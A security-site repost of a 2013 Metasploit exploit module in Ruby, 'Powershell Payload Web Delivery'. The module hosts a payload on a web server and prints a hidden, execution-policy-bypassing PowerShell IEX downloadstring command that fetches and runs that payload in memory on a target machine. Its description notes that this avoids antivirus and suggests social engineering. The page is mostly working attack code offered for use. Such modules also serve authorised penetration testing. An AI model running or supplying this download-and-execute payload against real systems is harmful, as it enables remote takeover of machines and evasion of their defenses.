首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Powershell Payload Web Delivery
来源:metasploit.com 作者:Campbell 发布时间:2013-07-26  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'		 => 'Powershell Payload Web Delivery',
			'Description'	 => %q{
				This module quickly fires up a web server that serves the payload in powershell.
				The provided command will start powershell and then download and execute the
				payload. The IEX command can also be extracted to execute directly from powershell.
				The main purpose of this module is to quickly establish a session on a target
				machine when the attacker has to manually type in the command himself, e.g. RDP
				Session, Local Access or maybe Remote Command Exec. This attack vector does not
				write to disk so is unlikely to trigger AV solutions and will allow to attempt local
				privilege escalations supplied by meterpreter etc. You could also try your luck with
				social engineering. Ensure the payload architecture matches the target computer or
				use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
			},
			'License'	 => MSF_LICENSE,
			'Author'	 =>
				[
					'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
					'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
				],
			'References'	 =>
				[
					[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
					[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
					[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
				],
			'Platform'	 => 'win',
			'Targets'	 =>
				[
					[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
					[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 19 2013'))
	end

	def on_request_uri(cli, request)
		print_status("Delivering Payload")
		data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
		send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
	end

	def primer
		url = get_uri()
		download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
		print_status("Run the following command on the target machine:")
		print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
	end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apache Struts 2 DefaultActionM
·MS12-020 RDP Buffer Overflow
·Jetaudio 8.0.17 Crash Proof Of
·Galil-RIO Modbus - Denial of S
·VMware vCenter Chargeback Mana
·ASUS RT-AC66U acsd Param - Rem
·Foreman (Red Hat OpenStack/Sat
·TigerVNC Server Remote DoS Vul
·D-Link Devices UPnP SOAP Comma
·Novell Client 2 SP3 Privilege
·Samsung PS50C7700 TV - Denial
·MS13-005 HWND_BROADCAST Low to
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved